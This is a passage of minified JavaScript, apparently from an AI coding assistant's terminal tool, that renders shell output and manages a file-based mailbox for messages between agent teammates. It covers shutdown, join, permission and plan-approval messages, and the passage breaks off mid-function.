L4K=k(()=>{cA();mA();$8();Eq();Mv=o($A(),1),k4K=o(E4K(),1)});function VQA(A){let K=s(10),{elapsedTimeSeconds:q,timeoutMs:Y}=A;if(q===void 0&&!Y)return null;let z;if(K[0]!==Y)z=Y?$O(Y,{hideTrailingZeros:!0}):void 0,K[0]=Y,K[1]=z;else z=K[1];let w=z;if(q===void 0){let _=`(timeout ${w})`,G;if(K[2]!==_)G=wP1.default.createElement(V,{dimColor:!0},_),K[2]=_,K[3]=G;else G=K[3];return G}let H=q*1000,J;if(K[4]!==H)J=$O(H),K[4]=H,K[5]=J;else J=K[5];let O=J;if(w){let _=`(${O} · timeout ${w})`,G;if(K[6]!==_)G=wP1.default.createElement(V,{dimColor:!0},_),K[6]=_,K[7]=G;else G=K[7];return G}let X=`(${O})`,$;if(K[8]!==X)$=wP1.default.createElement(V,{dimColor:!0},X),K[8]=X,K[9]=$;else $=K[9];return $}var wP1;var Sy6=k(()=>{cA();mA();wP1=o($A(),1)});function $D2(A){if(!A.match(/<sandbox_violations>([\s\S]*?)<\/sandbox_violations>/))return{cleanedStderr:A};return{cleanedStderr:I$1(A).trim()}}function _D2(A){let K=A.match(R4K);if(!K)return{cleanedStderr:A,cwdResetWarning:null};let q=K[1]??null;return{cleanedStderr:A.replace(R4K,"").trim(),cwdResetWarning:q}}function v3A(A){let K=s(33),{content:q,verbose:Y,timeoutMs:z}=A,{stdout:w,stderr:H,isImage:J,returnCodeInterpretation:O,backgroundTaskId:X}=q,$,_,G,Z,W,D,j;if(K[0]!==J||K[1]!==H||K[2]!==w||K[3]!==Y){j=Symbol.for("react.early_return_sentinel");A:{let{cleanedStderr:T}=$D2(H);if({cleanedStderr:G,cwdResetWarning:_}=_D2(T),J){let C;if(K[11]===Symbol.for("react.memo_cache_sentinel"))C=OP.default.createElement(k6,{height:1},OP.default.createElement(V,{dimColor:!0},"[Image data detected and sent to Claude]")),K[11]=C;else C=K[11];j=C;break A}if($=S,Z="column",K[12]!==w||K[13]!==Y)W=w!==""?OP.default.createElement(zB,{content:w,verbose:Y}):null,K[12]=w,K[13]=Y,K[14]=W;else W=K[14];D=G.trim()!==""?OP.default.createElement(zB,{content:G,verbose:Y,isError:!0}):null}K[0]=J,K[1]=H,K[2]=w,K[3]=Y,K[4]=$,K[5]=_,K[6]=G,K[7]=Z,K[8]=W,K[9]=D,K[10]=j}else $=K[4],_=K[5],G=K[6],Z=K[7],W=K[8],D=K[9],j=K[10];if(j!==Symbol.for("react.early_return_sentinel"))return j;let M;if(K[15]!==_)M=_?OP.default.createElement(k6,null,OP.default.createElement(V,{dimColor:!0},_)):null,K[15]=_,K[16]=M;else M=K[16];let P;if(K[17]!==X||K[18]!==_||K[19]!==O||K[20]!==G||K[21]!==w)P=w===""&&G.trim()===""&&!_?OP.default.createElement(k6,{height:1},OP.default.createElement(V,{dimColor:!0},X?OP.default.createElement(OP.default.Fragment,null,"Running in the background"," ",OP.default.createElement(M6,{shortcut:"↓",action:"manage",parens:!0})):O||"(No content)")):null,K[17]=X,K[18]=_,K[19]=O,K[20]=G,K[21]=w,K[22]=P;else P=K[22];let f;if(K[23]!==z)f=z&&OP.default.createElement(k6,null,OP.default.createElement(VQA,{timeoutMs:z})),K[23]=z,K[24]=f;else f=K[24];let N;if(K[25]!==$||K[26]!==Z||K[27]!==W||K[28]!==D||K[29]!==M||K[30]!==P||K[31]!==f)N=OP.default.createElement($,{flexDirection:Z},W,D,M,P,f),K[25]=$,K[26]=Z,K[27]=W,K[28]=D,K[29]=M,K[30]=P,K[31]=f,K[32]=N;else N=K[32];return N}var OP,R4K;var HP1=k(()=>{cA();mA();rZA();Eq();nK();Sy6();OP=o($A(),1),R4K=/(?:^|\n)(Shell cwd was reset to .+)$/});function y4K(A){let K=s(10),{content:q,verbose:Y}=A,z;if(K[0]!==q)z=i7(q,"bash-stdout")??"",K[0]=q,K[1]=z;else z=K[1];let w=z,H;if(K[2]!==q)H=i7(q,"bash-stderr")??"",K[2]=q,K[3]=H;else H=K[3];let J=H,O;if(K[4]!==J||K[5]!==w)O={stdout:w,stderr:J},K[4]=J,K[5]=w,K[6]=O;else O=K[6];let X=!!Y,$;if(K[7]!==O||K[8]!==X)$=hy6.createElement(v3A,{content:O,verbose:X}),K[7]=O,K[8]=X,K[9]=$;else $=K[9];return $}var hy6;var I4K=k(()=>{cA();HP1();$8();hy6=o($A(),1)});function h4K(A){let K=s(4),{content:q}=A,Y,z;if(K[0]!==q){z=Symbol.for("react.early_return_sentinel");A:{let w=i7(q,"local-command-stdout"),H=i7(q,"local-command-stderr");if(!w&&!H){let J;if(K[3]===Symbol.for("react.memo_cache_sentinel"))J=EW.createElement(k6,null,EW.createElement(V,{dimColor:!0},wf)),K[3]=J;else J=K[3];z=J;break A}if(Y=[],w?.trim())Y.push(EW.createElement(S4K,{key:"stdout"},w.trim()));if(H?.trim())Y.push(EW.createElement(S4K,{key:"stderr",isError:!0},H.trim()))}K[0]=q,K[1]=Y,K[2]=z}else Y=K[1],z=K[2];if(z!==Symbol.for("react.early_return_sentinel"))return z;return Y}function S4K(A){let K=s(7),{children:q,isError:Y}=A,z=Y?"error":"text",w;if(K[0]!==z)w=EW.createElement(V,{color:z}," ⎿ "),K[0]=z,K[1]=w;else w=K[1];let H;if(K[2]!==q)H=EW.createElement(S,{flexDirection:"column",flexGrow:1},EW.createElement(PO,null,q)),K[2]=q,K[3]=H;else H=K[3];let J;if(K[4]!==w||K[5]!==H)J=EW.createElement(S,{flexDirection:"row"},w,H),K[4]=w,K[5]=H,K[6]=J;else J=K[6];return J}var EW;var b4K=k(()=>{cA();$8();mA();Eq();cT();JL();EW=o($A(),1)});function E3A(A){let K=s(8),{param:q,addMargin:Y}=A,{text:z}=q,w;if(K[0]!==z)w=i7(z,"background-task-input"),K[0]=z,K[1]=w;else w=K[1];let H=w;if(!H)return null;let J=Y?1:0,O;if(K[2]===Symbol.for("react.memo_cache_sentinel"))O=Td.createElement(V,{color:"background"},"&"),K[2]=O;else O=K[2];let X;if(K[3]!==H)X=Td.createElement(S,null,O,Td.createElement(V,{dimColor:!0}," ",H)),K[3]=H,K[4]=X;else X=K[4];let $;if(K[5]!==J||K[6]!==X)$=Td.createElement(S,{flexDirection:"column",marginTop:J,width:"100%"},X),K[5]=J,K[6]=X,K[7]=$;else $=K[7];return $}var Td;var by6=k(()=>{cA();mA();$8();Td=o($A(),1)});function x4K(A){let K=s(4),{content:q}=A,Y;if(K[0]!==q)Y=i7(q,"background-task-output")??"",K[0]=q,K[1]=Y;else Y=K[1];let z=Y,w;if(K[2]!==z)w=fQA.createElement(k6,null,fQA.createElement(V,{dimColor:!0},z)),K[2]=z,K[3]=w;else w=K[3];return w}var fQA;var u4K=k(()=>{cA();mA();$8();Eq();fQA=o($A(),1)});function Pv(A){if(!A)return GD2;let K=LJ[A];if(K)return K;return`ansi:${A}`}var GD2="cyan_FOR_SUBAGENTS_ONLY";var ht=k(()=>{aZ()});function cf(A,K){return`${A}@${K}`}function k3A(A){let K=A.indexOf("@");if(K===-1)return null;return{agentName:A.slice(0,K),teamName:A.slice(K+1)}}function bt(A,K){let q=Date.now();return`${A}-${q}@${K}`}var F4K={};_q(F4K,{writeToPendingInbox:()=>yQA,writeToMailbox:()=>Q3,sendShutdownRequestToMailbox:()=>OP1,readUnreadMessages:()=>C3A,readPendingInbox:()=>DP1,readMailbox:()=>vd,markMessagesAsReadByPredicate:()=>ly6,markMessagesAsRead:()=>TQA,markMessageAsReadByIndex:()=>NQA,isTeammate:()=>m2,isTeamPermissionUpdate:()=>XP1,isTaskCompletedNotification:()=>VD2,isTaskAssignment:()=>cy6,isStructuredProtocolMessage:()=>GP1,isShutdownRequest:()=>R3A,isShutdownRejected:()=>dy6,isShutdownApproved:()=>tB,isSandboxPermissionResponse:()=>kQA,isSandboxPermissionRequest:()=>JP1,isPlanApprovalResponse:()=>CQA,isPlanApprovalRequest:()=>py6,isPermissionResponse:()=>L3A,isPermissionRequest:()=>EQA,isModeSetRequest:()=>_P1,isJoinRequest:()=>ry6,isJoinRejected:()=>RQA,isJoinApproved:()=>LQA,isIdleNotification:()=>m4K,getTeamName:()=>T3,getPendingInboxPath:()=>WP1,getMailboxPath:()=>DD2,getInboxPath:()=>xt,getAgentName:()=>b9,getAgentId:()=>q_,formatTeammateMessages:()=>MD2,createTaskCompletedNotification:()=>PD2,createShutdownRequestMessage:()=>KMA,createShutdownRejectedMessage:()=>Uy6,createShutdownApprovedMessage:()=>Qy6,createSandboxPermissionResponseMessage:()=>Fy6,createSandboxPermissionRequestMessage:()=>gy6,createPermissionResponseMessage:()=>my6,createPermissionRequestMessage:()=>By6,createModeSetRequestMessage:()=>$P1,createJoinRequestMessage:()=>iy6,createJoinRejectedMessage:()=>ZP1,createJoinApprovedMessage:()=>ny6,createIdleNotification:()=>vQA,clearPendingInbox:()=>qMA,clearMailbox:()=>jD2,ModeSetRequestMessageSchema:()=>g4K});import{existsSync as sB,mkdirSync as ZD2,readFileSync as xy6,unlinkSync as WD2}from"fs";import{join as ejA}from"path";function uy6(){let A=process.env.HOME||process.env.USERPROFILE||".";return ejA(A,".claude","teams")}function xt(A,K){let q=K||T3()||"default",Y=Ar(q),z=Ar(A),w=ejA(uy6(),Y,"inboxes"),H=ejA(w,`${z}.json`);return h(`[TeammateMailbox] getInboxPath: agent=${A}, team=${q}, fullPath=${H}`),H}function DD2(A){return xt(A)}function B4K(A){let K=A||T3()||"default",q=Ar(K),Y=ejA(uy6(),q,"inboxes");if(!sB(Y))ZD2(Y,{recursive:!0}),h(`[TeammateMailbox] Created inbox directory: ${Y}`)}function vd(A,K){let q=xt(A,K);if(h(`[TeammateMailbox] readMailbox: path=${q}`),!sB(q))return h("[TeammateMailbox] readMailbox: file does not exist"),[];try{let Y=xy6(q,"utf-8"),z=G6(Y);return h(`[TeammateMailbox] readMailbox: read ${z.length} message(s)`),z}catch(Y){return h(`Failed to read inbox for ${A}: ${Y}`),KA(Y instanceof Error?Y:Error(String(Y))),[]}}function C3A(A,K){let q=vd(A,K),Y=q.filter((z)=>!z.read);return h(`[TeammateMailbox] readUnreadMessages: ${Y.length} unread of ${q.length} total`),Y}function Q3(A,K,q){B4K(q);let Y=xt(A,q),z=`${Y}.lock`;if(h(`[TeammateMailbox] writeToMailbox: recipient=${A}, from=${K.from}, path=${Y}`),!sB(Y))x8(Y,"[]","utf-8"),h("[TeammateMailbox] writeToMailbox: created new inbox file");let w;try{w=AMA.lockSync(Y,{lockfilePath:z});let H=vd(A,q),J={...K,read:!1};H.push(J),x8(Y,UA(H,null,2),"utf-8"),h(`[TeammateMailbox] Wrote message to ${A}'s inbox from ${K.from}`)}catch(H){h(`Failed to write to inbox for ${A}: ${H}`),KA(H instanceof Error?H:Error(String(H)))}finally{if(w)w()}}function NQA(A,K,q){let Y=xt(A,K);if(h(`[TeammateMailbox] markMessageAsReadByIndex called: agentName=${A}, teamName=${K}, index=${q}, path=${Y}`),!sB(Y)){h(`[TeammateMailbox] markMessageAsReadByIndex: file does not exist at ${Y}`);return}let z=`${Y}.lock`,w;try{h("[TeammateMailbox] markMessageAsReadByIndex: acquiring lock..."),w=AMA.lockSync(Y,{lockfilePath:z}),h("[TeammateMailbox] markMessageAsReadByIndex: lock acquired");let H=vd(A,K);if(h(`[TeammateMailbox] markMessageAsReadByIndex: read ${H.length} messages after lock`),q<0||q>=H.length){h(`[TeammateMailbox] markMessageAsReadByIndex: index ${q} out of bounds (${H.length} messages)`);return}let J=H[q];if(!J||J.read){h("[TeammateMailbox] markMessageAsReadByIndex: message already read or missing");return}H[q]={...J,read:!0},x8(Y,UA(H,null,2),"utf-8"),h(`[TeammateMailbox] markMessageAsReadByIndex: marked message at index ${q} as read`)}catch(H){h(`[TeammateMailbox] markMessageAsReadByIndex FAILED for ${A}: ${H}`),KA(H instanceof Error?H:Error(String(H)))}finally{if(w)w(),h("[TeammateMailbox] markMessageAsReadByIndex: lock released")}}function TQA(A,K){let q=xt(A,K);if(h(`[TeammateMailbox] markMessagesAsRead called: agentName=${A}, teamName=${K}, path=${q}`),!sB(q)){h(`[TeammateMailbox] markMessagesAsRead: file does not exist at ${q}`);return}let Y=`${q}.lock`,z;try{h("[TeammateMailbox] markMessagesAsRead: acquiring lock..."),z=AMA.lockSync(q,{lockfilePath:Y}),h("[TeammateMailbox] markMessagesAsRead: lock acquired");let w=vd(A,K);if(h(`[TeammateMailbox] markMessagesAsRead: read ${w.length} messages after lock`),w.length===0){h("[TeammateMailbox] markMessagesAsRead: no messages to mark");return}let H=w.filter((_)=>!_.read).length;h(`[TeammateMailbox] markMessagesAsRead: ${H} unread of ${w.length} total`);let J=w.map((_)=>({..._,read:!0}));x8(q,UA(J,null,2),"utf-8"),h(`[TeammateMailbox] markMessagesAsRead: WROTE ${H} message(s) as read to ${q}`);let O=xy6(q,"utf-8"),$=G6(O).filter((_)=>!_.read).length;h(`[TeammateMailbox] markMessagesAsRead: VERIFY - ${$} still unread after write`)}catch(w){h(`[TeammateMailbox] markMessagesAsRead FAILED for ${A}: ${w}`),KA(w instanceof Error?w:Error(String(w)))}finally{if(z)z(),h("[TeammateMailbox] markMessagesAsRead: lock released")}}function jD2(A,K){let q=xt(A,K);if(!sB(q))return;try{x8(q,"[]","utf-8"),h(`[TeammateMailbox] Cleared inbox for ${A}`)}catch(Y){h(`Failed to clear inbox for ${A}: ${Y}`),KA(Y instanceof Error?Y:Error(String(Y)))}}function MD2(A){return A.map((K)=>{let q=K.color?` color="${K.color}"`:"";return`<${F0} teammate_id="${K.from}"${q}> ${K.text} </${F0}>`}).join(` `)}function vQA(A,K,q,Y){return{type:"idle_notification",from:A,timestamp:new Date().toISOString(),completedTaskId:K,completedStatus:q,failureReason:Y}}function m4K(A){try{let K=G6(A);if(K&&K.type==="idle_notification")return K}catch{}return null}function PD2(A,K,q){return{type:"task_completed",from:A,taskId:K,taskSubject:q,timestamp:new Date().toISOString()}}function VD2(A){try{let K=G6(A);if(K&&K.type==="task_completed")return K}catch{}return null}function By6(A){return{type:"permission_request",requestId:A.requestId,workerId:A.workerId,workerName:A.workerName,workerColor:A.workerColor,toolName:A.toolName,toolUseId:A.toolUseId,description:A.description,input:A.input,permissionSuggestions:A.permissionSuggestions||[],createdAt:Date.now()}}function my6(A){return{type:"permission_response",requestId:A.requestId,decision:A.decision,timestamp:new Date().toISOString(),feedback:A.feedback,updatedInput:A.updatedInput,permissionUpdates:A.permissionUpdates}}function EQA(A){try{let K=G6(A);if(K&&K.type==="permission_request")return K}catch{}return null}function L3A(A){try{let K=G6(A);if(K&&K.type==="permission_response")return K}catch{}return null}function gy6(A){return{type:"sandbox_permission_request",requestId:A.requestId,workerId:A.workerId,workerName:A.workerName,workerColor:A.workerColor,hostPattern:{host:A.host},createdAt:Date.now()}}function Fy6(A){return{type:"sandbox_permission_response",requestId:A.requestId,host:A.host,allow:A.allow,timestamp:new Date().toISOString()}}function JP1(A){try{let K=G6(A);if(K&&K.type==="sandbox_permission_request")return K}catch{}return null}function kQA(A){try{let K=G6(A);if(K&&K.type==="sandbox_permission_response")return K}catch{}return null}function KMA(A){return{type:"shutdown_request",requestId:A.requestId,from:A.from,reason:A.reason,timestamp:new Date().toISOString()}}function Qy6(A){return{type:"shutdown_approved",requestId:A.requestId,from:A.from,timestamp:new Date().toISOString(),paneId:A.paneId,backendType:A.backendType}}function Uy6(A){return{type:"shutdown_rejected",requestId:A.requestId,from:A.from,reason:A.reason,timestamp:new Date().toISOString()}}function OP1(A,K,q){let Y=K||T3(),z=b9()||P2,w=bt("shutdown",A),H=KMA({requestId:w,from:z,reason:q});return Q3(A,{from:z,text:UA(H),timestamp:new Date().toISOString(),color:PJ()},Y),{requestId:w,target:A}}function R3A(A){try{let K=G6(A);if(K&&K.type==="shutdown_request")return K}catch{}return null}function py6(A){try{let K=G6(A);if(K&&K.type==="plan_approval_request")return K}catch{}return null}function tB(A){try{let K=G6(A);if(K&&K.type==="shutdown_approved")return K}catch{}return null}function dy6(A){try{let K=G6(A);if(K&&K.type==="shutdown_rejected")return K}catch{}return null}function CQA(A){try{let K=G6(A);if(K&&K.type==="plan_approval_response")return K}catch{}return null}function cy6(A){try{let K=G6(A);if(K&&K.type==="task_assignment")return K}catch{}return null}function XP1(A){try{let K=G6(A);if(K&&K.type==="team_permission_update")return K}catch{}return null}function $P1(A){return{type:"mode_set_request",targetMode:A.targetMode,from:A.from,timestamp:new Date().toISOString()}}function _P1(A){try{let K=g4K.safeParse(G6(A));if(K.success)return K.data}catch{}return null}function GP1(A){try{let K=G6(A);if(!K||typeof K!=="object"||!("type"in K))return!1;let q=K.type;return q==="permission_request"||q==="permission_response"||q==="sandbox_permission_request"||q==="sandbox_permission_response"||q==="shutdown_request"||q==="shutdown_approved"||q==="team_permission_update"||q==="mode_set_request"||q==="join_request"||q==="join_approved"||q==="join_rejected"||q==="plan_approval_request"||q==="plan_approval_response"}catch{return!1}}function ly6(A,K,q){let Y=xt(A,q);if(!sB(Y))return;let z=`${Y}.lock`,w;try{w=AMA.lockSync(Y,{lockfilePath:z});let H=vd(A,q);if(H.length===0)return;let J=H.map((O)=>!O.read&&K(O)?{...O,read:!0}:O);x8(Y,UA(J,null,2),"utf-8")}catch(H){KA(H instanceof Error?H:Error(String(H)))}finally{if(w)try{w()}catch{}}}function iy6(A){return{type:"join_request",requestId:A.requestId,sessionId:A.sessionId,proposedName:A.proposedName,capabilities:A.capabilities,cwd:A.cwd,timestamp:new Date().toISOString()}}function ny6(A){return{type:"join_approved",requestId:A.requestId,teamName:A.teamName,teamFilePath:A.teamFilePath,leadAgentId:A.leadAgentId,agentId:A.agentId,agentName:A.agentName,color:A.color,planModeRequired:A.planModeRequired,timestamp:new Date().toISOString()}}function ZP1(A){return{type:"join_rejected",requestId:A.requestId,reason:A.reason,timestamp:new Date().toISOString()}}function ry6(A){try{let K=G6(A);if(K&&K.type==="join_request")return K}catch{}return null}function LQA(A){try{let K=G6(A);if(K&&K.type==="join_approved")return K}catch{}return null}function RQA(A){try{let K=G6(A);if(K&&K.type==="join_rejected")return K}catch{}return null}function WP1(A,K){let q=uy6(),Y=Ar(A),z=Ar(K),w=ejA(q,Y,"inboxes");return ejA(w,`pending-${z}.json`)}function DP1(A,K){let q=WP1(A,K);if(h(`[TeammateMailbox] readPendingInbox: path=${q}`),!sB(q))return h("[TeammateMailbox] readPendingInbox: file does not exist"),[];try{let Y=xy6(q,"utf-8"),z=G6(Y);return h(`[TeammateMailbox] readPendingInbox: read ${z.length} message(s)`),z}catch(Y){return h(`Failed to read pending inbox for ${K}: ${Y}`),KA(Y instanceof Error?Y:Error(String(Y))),[]}}function yQA(A,K,q){B4K(A);let Y=WP1(A,K),z=`${Y}.lock`;if(h(`[TeammateMailbox] writeToPendingInbox: sessionId=${K}, from=${q.from}, path=${Y}`),!sB(Y))x8(Y,"[]","utf-8"),h("[TeammateMailbox] writeToPendingInbox: created new pending inbox file");let w;try{w=AMA.lockSync(Y,{lockfilePath:z});let H=DP1(A,K),J={...q,read:!1};H.push(J),x8(Y,UA(H,null,2),"utf-8"),h(`[TeammateMailbox] Wrote message to pending inbox for ${K} from ${q.from}`)}catch(H){h(`Failed to write to pending inbox for ${K}: ${H}`),KA(H instanceof Error?H:Error(String(H)))}finally{if(w)w()}}function qMA(A,K){let q=WP1(A,K);if(!sB(q))return;try{WD2(q),h(`[TeammateMailbox] Cleared pending inbox for ${K}`)}catch(Y){h(`Failed to clear pending inbox for ${K}: ${Y}`),KA(Y instanceof Error?Y:Error(String(Y)))}}var AMA,g4K;var _H=k(()=>{b1();z7();C1();wz();Z1();W2();VJ();b1();AMA=o(Yb(),1);g4K=U.object({type:U.literal("mode_set_request"),targetMode:U.string(),from:U.string(),timestamp:U.string()})});function fD2(A){let K=s(7),{request:q}=A,Y;if(K[0]!==q.from)Y=i5.createElement(S,{marginBottom:1},i5.createElement(V,{color:"warning",bold:!0},"Shutdown request from ",q.from)),K[0]=q.from,K[1]=Y;else Y=K[1];let z;if(K[2]!==q.reason)z=q.reason&&i5.createElement(S,null,i5.createElement(V,null,"Reason: ",q.reason)),K[2]=q.reason,K[3]=z;else z=K[3];let w;if(K[4]!==Y||K[5]!==z)w=i5.createElement(S,{flexDirection:"column",marginY:1},i5.createElement(S,{borderStyle:"round",borderColor:"warning",flexDirection:"column",paddingX:1,paddingY:1},Y,z)),K[4]=Y,K[5]=z,K[6]=w;else w=K[6];return w}function ND2(A){let K=s(5),{response:q}=A,Y;if(K[0]!==q.from)Y=i5.createElement(V,{color:"success",bold:!0},"Shutdown approved by ",q.from),K[0]=q.from,K[1]=Y;else Y=K[1];let z;if(K[2]===Symbol.for("react.memo_cache_sentinel"))z=i5.createElement(S,{marginTop:1},i5.createElement(V,{dimColor:!0},"Teammate is now exiting.")),K[2]=z;else z=K[2];let w;if(K[3]!==Y)w=i5.createElement(S,{flexDirection:"column",marginY:1},i5.createElement(S,{borderStyle:"round",borderColor:"success",flexDirection:"column",paddingX:1,paddingY:1},Y,z)),K[3]=Y,K[4]=w;else w=K[4];return w}function TD2(A){let K=s(8),{response:q}=A,Y;if(K[0]!==q.from)Y=i5.createElement(V,{color:"subtle",bold:!0},"Shutdown rejected by ",q.from),K[0]=q.from,K[1]=Y;else Y=K[1];let z;if(K[2]!==q.reason)z=i5.createElement(S,{marginTop:1,borderStyle:"dashed",borderColor:"subtle",borderLeft:!1,borderRight:!1,paddingX:1},i5.createElement(V,null,"Reason: ",q.reason)),K[2]=q.reason,K[3]=z;else z=K[3];let w;if(K[4]===Symbol.for("react.memo_cache_sentinel"))w=i5.createElement(S,{marginTop:1},i5.createElement(V,{dimColor:!0},"Teammate is continuing to work. You may request shutdown again later.")),K[4]=w;else w=K[4];let H;if(K[5]!==Y||K[6]!==z)H=i5.createElement(S,{flexDirection:"column",marginY:1},i5.createElement(S,{borderStyle:"round",borderColor:"subtle",flexDirection:"column",paddingX:1,paddingY:1},Y,z,w)),K[5]=Y,K[6]=z,K[7]=H;else H=K[7];return H}function Q4K(A){let K=R3A(A);if(K)return i5.createElement(fD2,{request:K});let q=tB(A);if(q)return i5.createElement(ND2,{response:q});let Y=dy6(A);if(Y)return i5.createElement(TD2,{response:Y});return null}var i5;var oy6=k(()=>{cA();mA();_H();i5=o($A(),1)});function vD2(A){let K=s(7),{request:q}=A,Y;if(K[0]!==q.proposedName)Y=Y9.createElement(S,{marginBottom:1},Y9.createElement(V,{color:"cyan_FOR_SUBAGENTS_ONLY",bold:!0},"Join Request from ",q.proposedName)),K[0]=q.proposedName,K[1]=Y;else Y=K[1];let z;if(K[2]!==q.capabilities)z=q.capabilities&&Y9.createElement(S,null,Y9.createElement(V,null,"Capabilities: ",q.capabilities)),K[2]=q.capabilities,K[3]=z;else z=K[3];let w;if(K[4]!==Y||K[5]!==z)w=Y9.createElement(S,{flexDirection:"column",marginY:1},Y9.createElement(S,{borderStyle:"round",borderColor:"cyan_FOR_SUBAGENTS_ONLY",flexDirection:"column",paddingX:1,paddingY:1},Y,z)),K[4]=Y,K[5]=z,K[6]=w;else w=K[6];return w}function ED2(A){let K=s(7),{response:q}=A,Y;if(K[0]!==q.teamName)Y=Y9.createElement(V,{color:"success",bold:!0},"Join Approved - Welcome to ",q.teamName,"!"),K[0]=q.teamName,K[1]=Y;else Y=K[1];let z;if(K[2]!==q.agentName)z=Y9.createElement(S,{marginTop:1},Y9.createElement(V,null,"You are now ",q.agentName," in the team.")),K[2]=q.agentName,K[3]=z;else z=K[3];let w;if(K[4]!==Y||K[5]!==z)w=Y9.createElement(S,{flexDirection:"column",marginY:1},Y9.createElement(S,{borderStyle:"round",borderColor:"success",flexDirection:"column",paddingX:1,paddingY:1},Y,z)),K[4]=Y,K[5]=z,K[6]=w;else w=K[6];return w}function kD2(A){let K=s(5),{response:q}=A,Y;if(K[0]===Symbol.for("react.memo_cache_sentinel"))Y=Y9.createElement(V,{color:"error",bold:!0},"Join Request Rejected"),K[0]=Y;else Y=K[0];let z;if(K[1]!==q.reason)z=q.reason&&Y9.createElement(S,{marginTop:1,borderStyle:"dashed",borderColor:"subtle",borderLeft:!1,borderRight:!1,paddingX:1},Y9.createElement(V,null,"Reason: ",q.reason)),K[1]=q.reason,K[2]=z;else z=K[2];let w;if(K[3]!==z)w=Y9.createElement(S,{flexDirection:"column",marginY:1},Y9.createElement(S,{borderStyle:"round",borderColor:"error",flexDirection:"column",paddingX:1,paddingY:1},Y,z)),K[3]=z,K[4]=w;else w=K[4];return w}function U4K(A){let K=ry6(A);if(K)return Y9.createElement(vD2,{request:K});let q=LQA(A);if(q)return Y9.createElement(ED2,{response:q});let Y=RQA(A);if(Y)return Y9.createElement(kD2,{response:Y});return null}var Y9;var ay6=k(()=>{cA();mA();_H();Y9=o($A(),1)});function CD2(A){let K=s(11),{assignment:q}=A,Y;if(K[0]!==q.assignedBy||K[1]!==q.taskId)Y=P_.createElement(S,{marginBottom:1},P_.createElement(V,{color:"cyan_FOR_SUBAGENTS_ONLY",bold:!0},"Task #",q.taskId," assigned by ",q.assignedBy)),K[0]=q.assignedBy,K[1]=q.taskId,K[2]=Y;else Y=K[2];let z;if(K[3]!==q.subject)z=P_.createElement(S,null,P_.createElement(V,{bold:!0},q.subject)),K[3]=q.subject,K[4]=z;else z=K[4];let w;if(K[5]!==q.description)w=q.description&&P_.createElement(S,{marginTop:1},P_.createElement(V,{dimColor:!0},q.description)),K[5]=q.description,K[6]=w;else w=K[6];let H;if(K[7]!==Y||K[8]!==z||K[9]!==w)H=P_.createElement(S,{flexDirection:"column",marginY:1},P_.createElement(S,{borderStyle:"round",borderColor:"cyan_FOR_SUBAGENTS_ONLY",flexDirection:"column",paddingX:1,paddingY:1},Y,z,w)),K[7]=Y,K[8]=z,K[9]=w,K[10]=H;else H=K[10];return H}function p4K(A){let K=cy6(A);if(K)return P_.createElement(CD2,{assignment:K});return null}var P_;var sy6=k(()=>{cA();mA();_H();P_=o($A(),1)});function LD2(A){let K=s(10),{request:q}=A,Y;if(K[0]!==q.from)Y=z5.createElement(S,{marginBottom:1},z5.createElement(V,{color:"planMode",bold:!0},"Plan Approval Request from ",q.from)),K[0]=q.from,K[1]=Y;else Y=K[1];let z;if(K[2]!==q.planContent)z=z5.createElement(S,{borderStyle:"dashed",borderColor:"subtle",borderLeft:!1,borderRight:!1,flexDirection:"column",paddingX:1,marginBottom:1},z5.createElement(PO,null,q.planContent)),K[2]=q.planContent,K[3]=z;else z=K[3];let w;if(K[4]!==q.planFilePath)w=z5.createElement(V,{dimColor:!0},"Plan file: ",q.planFilePath),K[4]=q.planFilePath,K[5]=w;else w=K[5];let H;if(K[6]!==Y||K[7]!==z||K[8]!==w)H=z5.createElement(S,{flexDirection:"column",marginY:1},z5.createElement(S,{borderStyle:"round",borderColor:"planMode",flexDirection:"column",paddingX:1},Y,z,w)),K[6]=Y,K[7]=z,K[8]=w,K[9]=H;else H=K[9];return H}function RD2(A){let K=s(13),{response:q,senderName:Y}=A;if(q.approved){let O;if(K[0]!==Y)O=z5.createElement(S,null,z5.createElement(V,{color:"success",bold:!0},"✓ Plan Approved by ",Y)),K[0]=Y,K[1]=O;else O=K[1];let X;if(K[2]===Symbol.for("react.memo_cache_sentinel"))X=z5.createElement(S,{marginTop:1},z5.createElement(V,null,"You can now proceed with implementation. Your plan mode restrictions have been lifted.")),K[2]=X;else X=K[2];let $;if(K[3]!==O)$=z5.createElement(S,{flexDirection:"column",marginY:1},z5.createElement(S,{borderStyle:"round",borderColor:"success",flexDirection:"column",paddingX:1,paddingY:1},O,X)),K[3]=O,K[4]=$;else $=K[4];return $}let z;if(K[5]!==Y)z=z5.createElement(S,null,z5.createElement(V,{color:"error",bold:!0},"✗ Plan Rejected by ",Y)),K[5]=Y,K[6]=z;else z=K[6];let w;if(K[7]!==q.feedback)w=q.feedback&&z5.createElement(S,{marginTop:1,borderStyle:"dashed",borderColor:"subtle",borderLeft:!1,borderRight:!1,paddingX:1},z5.createElement(V,null,"Feedback: ",q.feedback)),K[7]=q.feedback,K[8]=w;else w=K[8];let H;if(K[9]===Symbol.for("react.memo_cache_sentinel"))H=z5.createElement(S,{marginTop:1},z5.createElement(V,{dimColor:!0},"Please revise your plan based on the feedback and call ExitPlanMode again.")),K[9]=H;else H=K[9];let J;if(K[10]!==z||K[11]!==w)J=z5.createElement(S,{flexDirection:"column",marginY:1},z5.createElement(S,{borderStyle:"round",borderColor:"error",flexDirection:"column",paddingX:1,paddingY:1},z,w,H)),K[10]=z,K[11]=w,K[12]=J;else J=K[12];return J}function d4K(A,K){let q=py6(A);if(q)return z5.createElement(LD2,{request:q});let Y=CQA(A);if(Y)return z5.createElement(RD2,{response:Y,senderName:K});return null}var z5;var c4K=k(()=>{cA();mA();JL();_H();b1();oy6();ay6();sy6();z5=o($A(),1)});function yD2(A){let K=[],q=new RegExp(`<${F0}\\s+teammate_id="([^"]+)"(?:\\s+color="([^"]+)")?>\\n?([\\s\\S]*?)\\n?<\\/${F0}>`,"g");for(let Y of A.matchAll(q))if(Y[1]&&Y[3])K.push({teammateId:Y[1],color:Y[2],content:Y[3].trim()});return K}function ID2(A){if(A==="leader")return"leader";return A}function l4K(A){let K=s(14),{addMargin:q,param:Y}=A,{text:z}=Y,w,H,J,O,X,$;if(K[0]!==q||K[1]!==z){$=Symbol.for("react.early_return_sentinel");A:{let G=yD2(z);if(G.length===0){$=null;break A}w=S,H="column",J=q?1:0,O="100%",X=G.map(SD2)}K[0]=q,K[1]=z,K[2]=w,K[3]=H,K[4]=J,K[5]=O,K[6]=X,K[7]=$}else 